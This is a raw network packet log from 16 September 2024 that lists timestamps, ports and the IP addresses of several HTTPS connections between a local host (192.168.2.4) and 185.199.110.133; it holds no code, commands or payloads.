Sep 16, 2024 19:32:59.584661007 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.584671974 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.584698915 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.584734917 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.584974051 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585019112 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585050106 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585062027 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585087061 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585129976 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585294008 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585335016 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585356951 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585369110 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585391998 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585412025 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585619926 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585660934 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585690975 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585702896 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585726976 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585752010 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585817099 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585859060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585879087 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585889101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.585920095 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.585936069 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.592794895 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.592840910 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.592860937 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.592866898 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.592907906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593439102 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593480110 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593506098 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593511105 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593533993 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593554020 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593698978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593744040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593775988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593780994 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.593805075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.593831062 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594419003 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594459057 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594500065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594505072 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594594955 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594615936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594620943 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594633102 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594660997 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594666958 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594686985 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594705105 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594727993 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594743013 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594748974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594777107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594791889 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594872952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594927073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594947100 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.594952106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.594975948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595000029 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595158100 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595204115 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595220089 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595226049 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595254898 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595273018 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595643997 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595683098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595691919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595705032 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.595735073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.595748901 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.596168041 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.596206903 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.596231937 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.596235991 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.596266031 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.596283913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.596916914 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.596956968 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.596986055 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.596991062 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.597016096 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.597033978 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.597079992 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.597121954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.597141027 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.597146034 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.597173929 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.597189903 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.601638079 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.601676941 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.601696968 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.601701021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.601738930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.602348089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.602385998 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.602401018 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.602406979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.602442980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.602459908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.602968931 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603009939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603028059 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.603033066 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603058100 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.603069067 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.603578091 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603620052 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603641987 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.603646040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.603673935 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.603687048 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633687973 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633699894 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633722067 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633760929 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633763075 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633780956 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633800030 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633805037 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633820057 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633829117 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633836031 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633856058 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633891106 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633891106 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633907080 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633932114 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633939981 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.633971930 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.633977890 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.634030104 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.656763077 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.656785011 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.656826973 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.656840086 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.656868935 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.656888008 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.664534092 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.674421072 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.674465895 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.674483061 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.674494028 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.674523115 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.674541950 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.674905062 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.674951077 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.674966097 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.674973011 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675000906 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675019026 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675164938 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675209999 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675230980 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675236940 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675270081 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675342083 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675517082 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675558090 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675581932 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675586939 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675615072 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675626040 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675844908 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675892115 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675914049 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675920010 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.675946951 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.675960064 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676157951 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676203012 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676224947 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676229954 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676256895 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676275969 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676456928 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676496029 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676515102 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676520109 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676556110 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676568985 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676698923 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676744938 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676759958 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676767111 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.676799059 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.676812887 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.679590940 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.679635048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.679672956 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.679680109 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.679716110 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.679738045 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.679970980 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680023909 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680048943 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680053949 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680082083 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680098057 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680335045 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680377960 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680397987 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680402994 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680433035 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680445910 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680531979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680577993 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680598974 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680603981 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680628061 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680645943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.680934906 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.680974960 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681001902 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681006908 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681034088 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681051016 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681598902 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681638956 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681662083 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681667089 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681695938 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681706905 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681778908 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681802988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681822062 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681838036 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681849003 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681859016 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681884050 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681884050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681890011 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.681926012 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681960106 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.681960106 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682012081 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682051897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682065010 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682070971 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682101965 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682476997 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682517052 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682538033 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682543039 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682573080 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682585001 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682769060 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682807922 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682823896 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682828903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682857037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682868958 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682909966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682957888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.682975054 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.682981014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683013916 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683027983 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683454037 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683495998 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683512926 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683517933 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683551073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683830976 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683871031 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683896065 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683900118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.683927059 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.683943033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684514046 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684556007 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684566975 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684577942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684613943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684633017 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684700966 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684743881 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684760094 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684781075 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.684793949 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.684833050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.686213017 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.686278105 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765522003 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765573978 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765625000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765633106 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765688896 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765748024 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765757084 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765782118 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765813112 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765827894 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765846968 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765853882 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.765883923 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.765908957 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766117096 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766158104 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766189098 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766194105 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766217947 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766239882 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766442060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766482115 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766510963 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766516924 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766545057 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766561985 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766896009 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766940117 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766973019 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766983032 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.766993046 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.766994953 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.767035961 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.767060995 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.767066956 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.767076969 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.767091036 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.767112017 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.767215014 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.767256021 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.767281055 CEST	49766	443	192.168.2.4	185.199.110.133
